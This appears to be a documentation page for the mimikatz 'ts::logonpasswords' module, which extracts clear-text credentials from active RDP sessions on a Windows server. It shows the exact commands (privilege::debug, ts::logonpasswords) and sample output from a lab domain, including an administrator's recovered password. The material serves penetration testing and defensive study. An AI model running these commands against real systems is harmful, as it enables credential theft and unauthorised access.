Links

logonpasswords

ts::logonpasswords extracts clear text credentials from RDP running sessions (server side).
It supports RDP clients utilizing mstscax.dll like mRemoteNG, Remote Desktop Manager, RDCMan and of course the Windows native one. It also supports X11 RDP clients such as rdesktop and freerdp.
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # ts::logonpasswords
!!! Warning: false positives can be listed !!!
* Web Credentials? *
Domain : hacklab.local
UserName : Administrator
* Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 e4 a2 a6 9d 83 c5 bd 0c 3a a7 72 4f 88 dc d3 b4 e0 bf 11 ca 71 11 65 cc 16 c0 58 5a 56 49 1b eb 12 b1 e5 a1 d2 25 e6 8c 08 62 92 aa 04 45 1e 3b
* Web Credentials? *
Domain : hacklab.local
UserName : Administrator
* Marshaled: [BinaryBlob] e7 03 00 00 00 00 00 00 e4 a2 a6 9d 83 c5 bd 0c 3a a7 72 4f 88 dc d3 b4 e0 bf 11 ca 71 11 65 cc 16 c0 58 5a 56 49 1b eb 12 b1 e5 a1 d2 25 e6 8c 08 62 92 aa 04 45 1e 3b
Domain : hacklab
UserName : Administrator
Password/Pin: Super_SecretPass1!
(Demonstration target is a Windows Server 2016 Essentials)
Last modified 2yr ago